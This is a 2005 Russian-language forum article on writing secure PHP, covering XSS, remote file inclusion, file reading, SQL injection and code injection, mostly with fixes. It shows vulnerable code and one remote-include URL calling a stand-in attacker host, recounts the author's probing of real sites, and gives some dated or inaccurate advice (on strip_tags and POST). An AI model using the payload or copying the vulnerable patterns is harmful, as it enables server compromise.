Статьи Создание безопасных Php-приложений

Discussion in 'Статьи' started by k00p3r, 12 Jun 2005.

  1. k00p3r

    k00p3r Banned

    Joined:
    31 May 2005
    Messages:
    430
    Likes Received:
    8
    Reputations:
    2
    Эту статью я решил написать не потому что хочу помочь начинающим кодерам, а просто потому что надо чем-то заполнить контент сайта. Шутка. На самом деле я преследовал именно благородные цели, хотел принести свой собственный вклад в развитие секурного web-программирования=). И так, сразу говорю, что в основном я здесь рассмотрю ошибки (не углубляясь в их суть) и их устранение в языке PHP. Попытаюсь собрать самые часто распространенные недочеты. Начну с самых распространенных и "попсовых" багов=).

    1. XSS (CrossSiteScripting)

    Обычно такая ошибка возникает, когда какому-либо скрипту передается параметр, который впоследствии выводится на html-страницу, при этом не проходя определенную фильтрацию на содержание тегов. Рассмотрим пример подобной уязвимости, которую я нашел в декабре 2004 года на mail.ru (эх, жалко, что я тогда даже не знал, что это - уязвимость): при отправке письма пользователю надо заполнить форму, в которой указывался адрес получателя, тема письма, ну и само письмо (правда, контент письма не играл не какой роли). При нажатии кнопки "Отправить" отправитель переходил на страницу, на которой ему сообщалось, что сообщение для такого-то с темой такой-то успешно отправлено. Но уязвимость заключалась в том, что адрес получателя и тема письма передавались этой странице в открытом виде методом GET, т.е. эти данные отражались в адресной строке. Увидев это, у меня возникло желание заменить параметры на html-теги. Сработало! А значит, если передавать в параметр java-script, то он будет выполняться у любого юзера, который откроет "такую" страницу. Теперь подробнее о том, как избежать такой уязвимости при создании своего скрипта. Основное правило - фильтрация входных данных, поступающих от пользователя. В php это делается функциями htmlspecialchars() и striptags(). Лично я пользуюсь последней, но принципиальной разницы нету, обе функции равноправны. Они просто удаляют теги из входной строки (естественно, можно задавать разрешенные теги). И ещё один совет: если вы пользуетесб html-формами для взаимодействия со скриптами, то метод, с помощью которого они будут передавать данные должен быть "POST"!!! Это, по крайней мере, не будет в открытом виде высвечивать в адресной строке, что и куда передаётся: В более-менее продвинутых форумах сейчас также практикуется XSS через BBcode, но об этом уже не в этой статье:

    2. Ошибка php-include

    В суть самой уязвимости, как я сказал в начале, я вникать не буду, а сразу перейду к способам её устранения. Чтобы избежать присоединения "левого" кода к вашему скрипту, есть один проверенный способ: пропустить входные данные (имя присоединяемого файла) через оператор условия. Например:

    <?
    switch ($file):
    {
    case("articles"): include ("articles.php");break;
    case("news"): include ("news.php");break;
    default: include("index.php");break;// - это защита от подстановки неправильных данных
    }
    ?>

    Также, можно использовать оператор "if". Из своего личного опыта могу сказать, что довольно часто встречалась такая ситуация: есть файл index.php, в котором объявляется какой-нибудь статический файл, и к этому index.php функцией include присоединялся другой php-файл, в котором уже шла работа непосредственно с тем статическим файлом. На примере это выглядит примерно так:

    <?
    //Файл index.php
    $f="some_file.php";
    include("file_functions.php");
    .
    .
    .
    ?>

    а в файле file_functions.php примерно такое содержание:

    <?
    //Файл file_functions.php
    include($f);
    .
    . :.some actions
    .
    ?>

    Таким образом, присоединяемый файл some_file.php объявлен во внешнем файле, и если вызвать отдельно "file_functions.php?f=http://attacer_site/evil_script.php", то выполнится код, содержащийся в удаленном скрипте evil_script.php (при условии, что в настройках PHP есть разрешение инклудить файлы извне и включен флаг register_globals=on). Всем этим я хотел сказать, что объявлять файл надо в том же скрипте, который с этим файлом и работает (фууф, надеюсь, все понятно).

    3. Чтение файлов на сервере

    Ситуация чем то похожа на предыдущую, потому опять же, очень часто файл, с которым идет работа объявляется совершенно не там где надо. Вот пример:
    Есть файл index.php, содержащий такой код:

    <?
    //Файл index.php
    $f="some_file.txt"; //расширение может быть любым
    include ("file_functions.php");
    .
    .
    .
    ?>

    А вот такой код содержится в файле file_functions.php:
    <?
    //Файл file_functions.php
    $file=fopen("$f","r");
    .
    .//some actions (чтение и вывод, например)
    .
    fclose("$f");
    ?>

    Поэтому опять же повторю, что объявлять файл, с которым работает скрипт надо именно в этом скрипте, чтобы избежать попадания информации ко взломщику.

    4. SQL-injection

    Сегодня уже можно с уверенностью сказать, что если скрипт вызывается с параметром "id", или чем-то похожим, то он (скрипт) работает с БД, и этот самый параметр участвует в запросе. Как правило, в параметр, a участвующий в запросе, передается числовое значение поля, по которому данные изымаются из таблицы. Чтобы избежать изменения запроса (посредством изменения параметра: добавление кавычек, union select, или других выражений MYSQL), нужно, чтобы в параметр передавалось ТОЛЬКО ЧИСЛО. В этом поможет функция intval(), которая преобразует заданную переменную в числовую. Пример:

    <?
    $var="100asd";
    $var=intval($var);
    echo "$var";
    ?>

    В данном случае, после обработки, переменная $var будет равна ЧИСЛУ 100. Так что на sql-запросе подстановка неправильных параметров не отразится.

    5. Другое

    В одном из самодельных (да, в паблик-продуктах таких идиотских ошибок не может быть) форумов я нашел такую ошибку: в один из параметров передавалось не что иное, а php-код!!! Для меня в том случае было ещё одно обстоятельство, которое не могло не радовать: на сервере стояла Винда, так что было где поразвлечься! Команды выполнялись практически, дело дошло уже до того, что я вписывал в параметр код целыми строками. Да: Идиотская прореха.


    Автор: antiox